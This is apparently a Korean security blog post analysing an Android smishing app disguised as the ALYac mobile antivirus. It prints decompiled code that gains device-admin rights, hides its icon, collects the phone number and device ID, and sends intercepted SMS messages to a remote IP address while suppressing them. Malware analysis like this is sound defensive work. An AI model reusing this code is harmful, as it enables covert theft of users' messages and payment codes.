Analysis

[Android Malware] 알약 모바일 백신 위장 스미싱 (alyac.apk) 분석

DarkSoul.Story 2013. 4. 21. 18:15
반응형



아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. 



1. 개요


스미싱 문자로 전파되고 있는 알약 모바일 백신 위장 파일인 alayc.apk에 대해서 살펴 본다. 


Filename:alyac.apk 
MD5:d400c1b9392063fc888cb942c7ecb6ac 
SHA-1:69ab7756949624714b751244f704e7d5573183aa 
File Size:306923 Bytes
API Level:


현재 전파되고 있는 알약 모바일 백신 위장 스미싱은 아래와 같은 유형으로 전파되고 있다. (추가 확인 시 업데이트 예정)


2. 분석 내용

알약 모바일 백신 위장 스미싱 (alyac.apk)  파일이 설치가 되면 알약 모바일 백신 아이콘이 생성된다. 생성된 아이콘을 클릭하면 아래와 같이 장치 관리자 활성화를 요구 한다.
 


장치 관리자 활성화를 승인하면, 어플 서랍에 존재하는 알약 아이콘은 삭제된것 같이 사라진다. 아이콘은 사라져도 악성 앱은 사용자 디바이스에 설치가 되어 있다.



확인한 API 권한 정보를 정리하면 아래와 같으며, 빨간색으로 표시된 API 권한이 악의적으로 사용될 수 있는 API이다.


유저 권한 (User Permission (악성 APP이 요구하는 권한 정보) )

android.permission.RECEIVE_SMS

android.permission.ACCESS_NETWORK_STATE

android.permission.RECEIVE_BOOT_COMPLETED

android.permission.READ_PHONE_STATE

android.permission.INTERNET

android.permission.SEND_SMS

android.permission.ACCESS_FINE_LOCATION

android.permission.ACCESS_COARSE_LOCATION

android.permission.ACCESS_MOCK_LOCATION

android.permission.WRITE_EXTERNAL_STORAGE

android.permission.VIBRATE

android.permission.FLASHLIGHT

android.permission.READ_PHONE_STATE

android.permission.ACCESS_NETWORK_STATE

android.permission.MOUNT_UNMOUNT_FILESYSTEMS

android.permission.CAMERA

android.permission.WAKE_LOCK

android.permission.RECORD_AUDIO


악성 앱을 디컴바일 한 후 소스파일을 살펴 보면 아래와 같다. 정상적인 알약 모바일 백신 앱과 비교하면 리패키징된 앱이 아닌것으로 확인된다.

[악성 앱과 정상적인 앱 비교]


가장 먼저 AgreeActivity 클래스를 살펴 보면 아래와 같이 장치 관리자 활성화를 요구하는 부분을 확인 할 수 있다.  (아래 소스 코드는 일부분이다)


public class AgreeActivity extends Activity
  implements View.OnClickListener
{
  static DevicePolicyManager mPolicyManager;
  private ComponentName mDeviceAdmin;
 
  private void moveMainActivity()
  {
    getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
    this.mDeviceAdmin = new ComponentName(this, Device_Admin.class);
    mPolicyManager = (DevicePolicyManager)getSystemService("device_policy");
    enableAdmin();
    startActivity(new Intent(this, StartActivity.class));
    finish();
  }
 
  public void desableAdmin()
  {
    mPolicyManager.removeActiveAdmin(this.mDeviceAdmin);
  }
 
  public void enableAdmin()
  {
    Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    localIntent.putExtra("android.app.extra.DEVICE_ADMIN", this.mDeviceAdmin);
    localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "기기보호와 앱의 정상동작을 
위해 다음의 설정을 유효화하여 주십시오.");
    startActivityForResult(localIntent, 1);
  }


SMSBroadcastReceiver 클래스에서는 getLine1Number()을 이용하여 악성앱이 설치된 디바이스의 전화 번호와 getdevicesid()를 이용하여 디바이스 ID (DevicesID)를 획득한다.


private String getPhoneNumber(Context paramContext)
  {
    return ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();
  }
 
생략~
 
public String getdevicesid(Context paramContext)
  {
    TelephonyManager localTelephonyManager = (TelephonyManager)paramContext.getSystemService
("phone");
    try
    {
      String str = localTelephonyManager.getDeviceId();
      return str;
    }
    catch (Exception localException)
    {
    }
    return null;
  }
 
생략 ~


로컬상에 존재하는 SMS를 확인 하여, SMS 발신 번호 / SMS 메시지 내용 / 날짜, 시간등을 위에서 획득한 전화번호와 디바이스 아이디를 http://61.198.220.16으로 전송한다.


public void onReceive(Context paramContext, Intent paramIntent)
  {
    if (!paramIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED"))
      return;
    this.util = new HttpUtils();
    String str1 = getPhoneNumber(paramContext);
    String str2 = getdevicesid(paramContext);
    if (TextUtils.isEmpty(str1))
      this.weiyi = str2;
    while (true)
    {
      if (TextUtils.isEmpty(this.weiyi))
        this.weiyi = "";
      Object[] arrayOfObject = (Object[])paramIntent.getExtras().get("pdus");
      int i = arrayOfObject.length;
      int j = 0;
      label88: if (j >= i)
        break;
      SmsMessage localSmsMessage = SmsMessage.createFromPdu((byte[])arrayOfObject[j]);
      String str3 = localSmsMessage.getOriginatingAddress();
      String str4 = localSmsMessage.getMessageBody();
      Date localDate = new Date(localSmsMessage.getTimestampMillis());
      new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate);
      try
      {
        if ((HttpUtils.detect(paramContext)) && (str3 != null) && (!"".equals(str3)) && 
(str1 != null) && (!"".equals(str1)))
        {
          String str5 = URLEncoder.encode(str4, "UTF-8");
          this.url = ("http://61.198.220.16/" + "?phone=" + this.weiyi + "&send=" + str3 + 
"&surak=" + this.weiyi + "&memo=" + str5 + "&type=memo&xcode=1");
          HttpUtils.requestData2(this.url);
          this.url = ("http://61.198.220.16/" + "check.php?phone=" + this.weiyi);
          if (!HttpUtils.requestData2(this.url).equals("219083"))
            abortBroadcast();
        }
        j++;
        break label88;
        this.weiyi = str1;
      }
      catch (Exception localException)
      {
        while (true)
          localException.printStackTrace();
      }
    }
  }


악성앱은 일회성이 아닌 삭제를 하지 않는한 사용자 모르게 활성화 되어 있어 언제든지 소액 결제를 이용할 경우 해당 내용은 
계속  http://61.198.220.16으로 전송으로 전송된다.

확인된 IP 정보는 아래와 같으며, 해당 IP는 현재 차단되어 있는것으로 판단된다.



반응형